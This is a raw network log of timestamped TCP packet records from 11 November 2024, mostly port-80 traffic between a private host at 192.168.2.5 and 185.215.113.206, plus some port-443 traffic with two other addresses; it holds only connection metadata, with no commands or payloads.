Nov 11, 2024 19:52:23.733192921 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733194113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733207941 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733217001 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733221054 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733232975 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733246088 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733278990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733311892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733325005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733338118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733355999 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733392954 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733473063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733485937 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733535051 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733535051 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733767986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733778954 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.733800888 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.733819962 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.768209934 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.768227100 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.768275976 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.768286943 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.768306017 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.768318892 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.768373966 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.768946886 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.768961906 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.769999027 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.770021915 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.770061970 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.770068884 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.770102978 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.770118952 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.770953894 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.770970106 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771007061 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.771013021 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771028996 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771045923 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.771054029 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771070957 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.771076918 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771102905 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.771126986 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.771630049 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771645069 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771691084 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.771699905 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.771752119 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.772329092 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.772378922 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.772417068 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.781198025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781212091 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781228065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781244993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781265974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781275988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781276941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781277895 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781299114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781316042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781332970 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781335115 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781346083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781347990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781358957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781378031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781390905 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781411886 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781435966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781446934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781460047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781471968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781472921 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781483889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781517029 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781517029 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781543016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781557083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781562090 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781569004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781582117 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781584024 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781619072 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781627893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781646013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781657934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781670094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781681061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781692982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781697989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781697989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781723022 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781730890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781742096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781754017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781759977 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781765938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781776905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781785965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781785965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781790018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781806946 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781822920 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781824112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781835079 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781837940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781851053 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781866074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781866074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781878948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781888008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781897068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781909943 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781909943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781923056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781934977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781949043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.781955004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781955004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.781985998 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782001019 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782035112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782046080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782078981 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782085896 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782098055 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782155991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782167912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782169104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782226086 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782248020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782294035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782382011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782394886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782404900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782417059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782428026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782428980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782440901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782457113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782459021 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782468081 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782480955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782485008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782485008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782494068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782521009 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782617092 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782675028 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782686949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782699108 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782710075 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782721996 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782723904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782723904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782742023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782756090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782763958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782768011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782780886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782789946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782793045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782803059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782804966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782816887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782830000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782834053 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782846928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782860994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782871008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782871008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782874107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782887936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782900095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782908916 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782908916 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782912016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782926083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782938004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782947063 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782948971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782972097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782983065 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782983065 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.782985926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.782996893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783003092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783010006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783015966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783020020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783021927 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783029079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783040047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783066034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783113956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783114910 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783133030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783148050 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783160925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783173084 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783174992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783174992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783185959 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783195019 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783225060 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783225060 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783256054 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783267975 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783281088 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783291101 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783294916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783307076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783322096 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783324957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783337116 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783341885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783349991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783360958 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783374071 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783385992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783390045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783406019 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783407927 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783421040 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783447027 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783468008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783480883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783493042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783504963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783509016 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783534050 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783607006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783636093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783647060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783663988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783675909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783685923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783694029 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783694029 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783696890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783709049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783719063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783729076 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783730984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783740997 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783744097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783756018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783768892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783775091 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783787012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783795118 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783795118 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783798933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783839941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783839941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.783956051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783967972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783979893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.783992052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784003019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784009933 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784014940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784017086 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784028053 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784039974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784049988 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784055948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784061909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784069061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784086943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784099102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784101963 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784109116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784111023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784131050 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784142971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784152031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784152031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784187078 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784205914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784219027 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784230947 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784243107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784251928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784257889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784267902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784280062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784284115 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784291983 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784305096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784320116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784320116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784329891 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784343004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784348965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784373045 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784395933 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784554958 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784567118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784581900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784595013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784603119 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784612894 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784615993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784625053 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784634113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784658909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784658909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784658909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784671068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784682989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784694910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784706116 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784709930 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784718037 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784729958 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784743071 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784750938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784750938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784755945 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784766912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784780025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784784079 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784784079 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784790993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784802914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784815073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784820080 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784826040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784838915 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784851074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784857988 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784857988 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.784861088 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.784903049 CET	49755	80	192.168.2.5	185.215.113.206
